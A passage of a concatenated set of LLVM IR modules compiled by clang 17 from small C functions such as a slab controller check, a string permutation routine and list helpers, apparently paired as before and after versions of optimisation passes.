%28 = add nsw i32 %27, 5 %29 = icmp slt i32 %26, %28 br i1 %29, label %30, label %31 30: ; preds = %25 store i32 0, ptr %3, align 4 br label %58 31: ; preds = %25 %32 = load i32, ptr %4, align 4 %33 = load i32, ptr %5, align 4 %34 = sub nsw i32 %33, 5 %35 = icmp sge i32 %32, %34 br i1 %35, label %36, label %37 36: ; preds = %31 store i32 1, ptr %3, align 4 br label %58 37: ; preds = %31 store i32 0, ptr %3, align 4 br label %58 38: ; preds = %22 %39 = load i32, ptr %6, align 4 %40 = icmp eq i32 %39, 0 br i1 %40, label %41, label %54 41: ; preds = %38 %42 = load i32, ptr %4, align 4 %43 = load i32, ptr %5, align 4 %44 = add nsw i32 %43, 5 %45 = icmp slt i32 %42, %44 br i1 %45, label %46, label %47 46: ; preds = %41 store i32 0, ptr %3, align 4 br label %58 47: ; preds = %41 %48 = load i32, ptr %4, align 4 %49 = load i32, ptr %5, align 4 %50 = sub nsw i32 %49, 5 %51 = icmp sge i32 %48, %50 br i1 %51, label %52, label %53 52: ; preds = %47 store i32 1, ptr %3, align 4 br label %58 53: ; preds = %47 store i32 0, ptr %3, align 4 br label %58 54: ; preds = %38 br label %55 55: ; preds = %54 br label %56 56: ; preds = %55 %57 = call i32 @printf(ptr noundef @.str) store i32 2000, ptr %3, align 4 br label %58 58: ; preds = %56, %53, %52, %46, %37, %36, %30, %21, %20, %15 %59 = load i32, ptr %3, align 4 ret i32 %59 } declare i32 @direction(i32 noundef) #1 declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp6vjnr2x5.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [39 x i8] c" ************* slab controller error \0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @slabcon(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store i32 %0, ptr %4, align 4 store i32 %1, ptr %5, align 4 %7 = load i32, ptr %5, align 4 %8 = call i32 @direction(i32 noundef %7) store i32 %8, ptr %6, align 4 %9 = load i32, ptr %6, align 4 %10 = icmp eq i32 %9, -1 br i1 %10, label %11, label %22 11: ; preds = %2 %12 = load i32, ptr %4, align 4 %13 = load i32, ptr %5, align 4 %14 = icmp sle i32 %12, %13 br i1 %14, label %15, label %16 15: ; preds = %11 store i32 0, ptr %3, align 4 br label %58 16: ; preds = %11 %17 = load i32, ptr %4, align 4 %18 = load i32, ptr %5, align 4 %19 = icmp sgt i32 %17, %18 br i1 %19, label %20, label %21 20: ; preds = %16 store i32 1, ptr %3, align 4 br label %58 21: ; preds = %16 store i32 0, ptr %3, align 4 br label %58 22: ; preds = %2 %23 = load i32, ptr %6, align 4 %24 = icmp eq i32 %23, 1 br i1 %24, label %25, label %38 25: ; preds = %22 %26 = load i32, ptr %4, align 4 %27 = load i32, ptr %5, align 4 %28 = add nsw i32 %27, 5 %29 = icmp slt i32 %26, %28 br i1 %29, label %30, label %31 30: ; preds = %25 store i32 0, ptr %3, align 4 br label %58 31: ; preds = %25 %32 = load i32, ptr %4, align 4 %33 = load i32, ptr %5, align 4 %34 = sub nsw i32 %33, 5 %35 = icmp sge i32 %32, %34 br i1 %35, label %36, label %37 36: ; preds = %31 store i32 1, ptr %3, align 4 br label %58 37: ; preds = %31 store i32 0, ptr %3, align 4 br label %58 38: ; preds = %22 %39 = load i32, ptr %6, align 4 %40 = icmp eq i32 %39, 0 br i1 %40, label %41, label %54 41: ; preds = %38 %42 = load i32, ptr %4, align 4 %43 = load i32, ptr %5, align 4 %44 = add nsw i32 %43, 5 %45 = icmp slt i32 %42, %44 br i1 %45, label %46, label %47 46: ; preds = %41 store i32 0, ptr %3, align 4 br label %58 47: ; preds = %41 %48 = load i32, ptr %4, align 4 %49 = load i32, ptr %5, align 4 %50 = sub nsw i32 %49, 5 %51 = icmp sge i32 %48, %50 br i1 %51, label %52, label %53 52: ; preds = %47 store i32 1, ptr %3, align 4 br label %58 53: ; preds = %47 store i32 0, ptr %3, align 4 br label %58 54: ; preds = %38 br label %55 55: ; preds = %54 br label %56 56: ; preds = %55 %57 = call i32 @printf(ptr noundef @.str) store i32 2000, ptr %3, align 4 br label %58 58: ; preds = %56, %53, %52, %46, %37, %36, %30, %21, %20, %15 %59 = load i32, ptr %3, align 4 ret i32 %59 } declare i32 @direction(i32 noundef) #1 declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmptw64m2f2.c' source_filename = "/tmp/tmptw64m2f2.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmptw64m2f2.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpmw1wcca1.c' source_filename = "/tmp/tmpmw1wcca1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EINVAL = dso_local global i32 0, align 4 @stderr = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpmw1wcca1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EINVAL = dso_local global i32 0, align 4 @stderr = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp_oim7sy4.c' source_filename = "/tmp/tmp_oim7sy4.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @PWR_reset() #0 { %1 = call i32 @write_ZIGBEE_short(i32 noundef 42, i32 noundef 4) ret void } declare i32 @write_ZIGBEE_short(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp_oim7sy4.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @PWR_reset() #0 { %1 = call i32 @write_ZIGBEE_short(i32 noundef 42, i32 noundef 4) ret void } declare i32 @write_ZIGBEE_short(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpdlzjqmx_.c' source_filename = "/tmp/tmpdlzjqmx_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpdlzjqmx_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpv_0lgxiy.c' source_filename = "/tmp/tmpv_0lgxiy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @list_prepend_safe(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %6 = load ptr, ptr %4, align 8 %7 = load ptr, ptr %5, align 8 %8 = call i64 @list_find(ptr noundef %6, ptr noundef %7) %9 = icmp sge i64 %8, 0 br i1 %9, label %10, label %11 10: ; preds = %2 store i32 1, ptr %3, align 4 br label %15 11: ; preds = %2 %12 = load ptr, ptr %4, align 8 %13 = load ptr, ptr %5, align 8 %14 = call i32 @list_prepend(ptr noundef %12, ptr noundef %13) store i32 %14, ptr %3, align 4 br label %15 15: ; preds = %11, %10 %16 = load i32, ptr %3, align 4 ret i32 %16 } declare i64 @list_find(ptr noundef, ptr noundef) #1 declare i32 @list_prepend(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpv_0lgxiy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @list_prepend_safe(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %6 = load ptr, ptr %4, align 8 %7 = load ptr, ptr %5, align 8 %8 = call i64 @list_find(ptr noundef %6, ptr noundef %7) %9 = icmp sge i64 %8, 0 br i1 %9, label %10, label %11 10: ; preds = %2 store i32 1, ptr %3, align 4 br label %15 11: ; preds = %2 %12 = load ptr, ptr %4, align 8 %13 = load ptr, ptr %5, align 8 %14 = call i32 @list_prepend(ptr noundef %12, ptr noundef %13) store i32 %14, ptr %3, align 4 br label %15 15: ; preds = %11, %10 %16 = load i32, ptr %3, align 4 ret i32 %16 } declare i64 @list_find(ptr noundef, ptr noundef) #1 declare i32 @list_prepend(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmprh0y9co7.c' source_filename = "/tmp/tmprh0y9co7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @permutate(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i8, align 1 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 store i32 0, ptr %5, align 4 store i8 0, ptr %6, align 1 %7 = load i32, ptr %4, align 4 %8 = load ptr, ptr %3, align 8 %9 = call i32 @strlen(ptr noundef %8) %10 = icmp eq i32 %7, %9 br i1 %10, label %11, label %14 11: ; preds = %2 %12 = load ptr, ptr %3, align 8 %13 = call i32 @printf(ptr noundef @.str, ptr noundef %12) br label %63 14: ; preds = %2 %15 = load i32, ptr %4, align 4 store i32 %15, ptr %5, align 4 br label %16 16: ; preds = %60, %14 %17 = load i32, ptr %5, align 4 %18 = load ptr, ptr %3, align 8 %19 = call i32 @strlen(ptr noundef %18) %20 = icmp slt i32 %17, %19 br i1 %20, label %21, label %63 21: ; preds = %16 %22 = load i8, ptr %6, align 1 %23 = sext i8 %22 to i32 %24 = load ptr, ptr %3, align 8 %25 = load i32, ptr %5, align 4 %26 = sext i32 %25 to i64 %27 = getelementptr inbounds i8, ptr %24, i64 %26 %28 = load i8, ptr %27, align 1 %29 = sext i8 %28 to i32 %30 = icmp eq i32 %23, %29 br i1 %30, label %31, label %32 31: ; preds = %21 br label %60 32: ; preds = %21 %33 = load ptr, ptr %3, align 8 %34 = load i32, ptr %5, align 4 %35 = sext i32 %34 to i64 %36 = getelementptr inbounds i8, ptr %33, i64 %35 %37 = load i8, ptr %36, align 1 store i8 %37, ptr %6, align 1 br label %38 38: ; preds = %32 %39 = load ptr, ptr %3, align 8 %40 = load i32, ptr %4, align 4 %41 = sext i32 %40 to i64 %42 = getelementptr inbounds i8, ptr %39, i64 %41 %43 = load ptr, ptr %3, align 8 %44 = load i32, ptr %5, align 4 %45 = sext i32 %44 to i64 %46 = getelementptr inbounds i8, ptr %43, i64 %45 %47 = call i32 @swap(ptr noundef %42, ptr noundef %46) %48 = load ptr, ptr %3, align 8 %49 = load i32, ptr %4, align 4 %50 = add nsw i32 %49, 1 call void @permutate(ptr noundef %48, i32 noundef %50) %51 = load ptr, ptr %3, align 8 %52 = load i32, ptr %4, align 4 %53 = sext i32 %52 to i64 %54 = getelementptr inbounds i8, ptr %51, i64 %53 %55 = load ptr, ptr %3, align 8 %56 = load i32, ptr %5, align 4 %57 = sext i32 %56 to i64 %58 = getelementptr inbounds i8, ptr %55, i64 %57 %59 = call i32 @swap(ptr noundef %54, ptr noundef %58) br label %60 60: ; preds = %38, %31 %61 = load i32, ptr %5, align 4 %62 = add nsw i32 %61, 1 store i32 %62, ptr %5, align 4 br label %16, !llvm.loop !6 63: ; preds = %11, %16 ret void } declare i32 @strlen(ptr noundef) #1 declare i32 @printf(ptr noundef, ptr noundef) #1 declare i32 @swap(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmprh0y9co7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @permutate(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i8, align 1 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 store i32 0, ptr %5, align 4 store i8 0, ptr %6, align 1 %7 = load i32, ptr %4, align 4 %8 = load ptr, ptr %3, align 8 %9 = call i32 @strlen(ptr noundef %8) %10 = icmp eq i32 %7, %9 br i1 %10, label %11, label %14 11: ; preds = %2 %12 = load ptr, ptr %3, align 8 %13 = call i32 @printf(ptr noundef @.str, ptr noundef %12) br label %66 14: ; preds = %2 %15 = load i32, ptr %4, align 4 store i32 %15, ptr %5, align 4 %16 = load i32, ptr %5, align 4 %17 = load ptr, ptr %3, align 8 %18 = call i32 @strlen(ptr noundef %17) %19 = icmp slt i32 %16, %18 br i1 %19, label %.lr.ph, label %.loopexit .lr.ph: ; preds = %14 br label %20 20: ; preds = %.lr.ph, %59 %21 = load i8, ptr %6, align 1 %22 = sext i8 %21 to i32 %23 = load ptr, ptr %3, align 8 %24 = load i32, ptr %5, align 4 %25 = sext i32 %24 to i64 %26 = getelementptr inbounds i8, ptr %23, i64 %25 %27 = load i8, ptr %26, align 1 %28 = sext i8 %27 to i32 %29 = icmp eq i32 %22, %28 br i1 %29, label %30, label %31 30: ; preds = %20 br label %59 31: ; preds = %20 %32 = load ptr, ptr %3, align 8 %33 = load i32, ptr %5, align 4 %34 = sext i32 %33 to i64 %35 = getelementptr inbounds i8, ptr %32, i64 %34 %36 = load i8, ptr %35, align 1 store i8 %36, ptr %6, align 1 br label %37 37: ; preds = %31 %38 = load ptr, ptr %3, align 8 %39 = load i32, ptr %4, align 4 %40 = sext i32 %39 to i64 %41 = getelementptr inbounds i8, ptr %38, i64 %40 %42 = load ptr, ptr %3, align 8 %43 = load i32, ptr %5, align 4 %44 = sext i32 %43 to i64 %45 = getelementptr inbounds i8, ptr %42, i64 %44 %46 = call i32 @swap(ptr noundef %41, ptr noundef %45) %47 = load ptr, ptr %3, align 8 %48 = load i32, ptr %4, align 4 %49 = add nsw i32 %48, 1 call void @permutate(ptr noundef %47, i32 noundef %49) %50 = load ptr, ptr %3, align 8 %51 = load i32, ptr %4, align 4 %52 = sext i32 %51 to i64 %53 = getelementptr inbounds i8, ptr %50, i64 %52 %54 = load ptr, ptr %3, align 8 %55 = load i32, ptr %5, align 4 %56 = sext i32 %55 to i64 %57 = getelementptr inbounds i8, ptr %54, i64 %56 %58 = call i32 @swap(ptr noundef %53, ptr noundef %57) br label %59 59: ; preds = %37, %30 %60 = load i32, ptr %5, align 4 %61 = add nsw i32 %60, 1 store i32 %61, ptr %5, align 4 %62 = load i32, ptr %5, align 4 %63 = load ptr, ptr %3, align 8 %64 = call i32 @strlen(ptr noundef %63) %65 = icmp slt i32 %62, %64 br i1 %65, label %20, label %..loopexit_crit_edge, !llvm.loop !6 ..loopexit_crit_edge: ; preds = %59 br label %.loopexit .loopexit: ; preds = %..loopexit_crit_edge, %14 br label %66 66: ; preds = %.loopexit, %11 ret void } declare i32 @strlen(ptr noundef) #1 declare i32 @printf(ptr noundef, ptr noundef) #1 declare i32 @swap(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp5b0zwfwj.c' source_filename = "/tmp/tmp5b0zwfwj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @skip_it() #0 { %1 = alloca i32, align 4 br label %2 2: ; preds = %11, %0 %3 = call i32 (...) @gettoken() store i32 %3, ptr %1, align 4 %4 = load i32, ptr @EOF, align 4 %5 = icmp ne i32 %3, %4 br i1 %5, label %6, label %9 6: ; preds = %2 %7 = load i32, ptr %1, align 4 %8 = icmp ne i32 %7, -3 br label %9 9: ; preds = %6, %2 %10 = phi i1 [ false, %2 ], [ %8, %6 ] br i1 %10, label %11, label %12 11: ; preds = %9 br label %2, !llvm.loop !6 12: ; preds = %9 %13 = load i32, ptr %1, align 4 ret i32 %13 } declare i32 @gettoken(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp5b0zwfwj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @skip_it() #0 { %1 = alloca i32, align 4 br label %2 2: ; preds = %9, %0 %3 = call i32 (...) @gettoken() store i32 %3, ptr %1, align 4 %4 = load i32, ptr @EOF, align 4 %5 = icmp ne i32 %3, %4 br i1 %5, label %6, label %9 6: ; preds = %2 %7 = load i32, ptr %1, align 4 %8 = icmp ne i32 %7, -3 br label %9 9: ; preds = %6, %2 %10 = phi i1 [ false, %2 ], [ %8, %6 ] br i1 %10, label %2, label %11, !llvm.loop !6 11: ; preds = %9 %12 = load i32, ptr %1, align 4 ret i32 %12 } declare i32 @gettoken(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
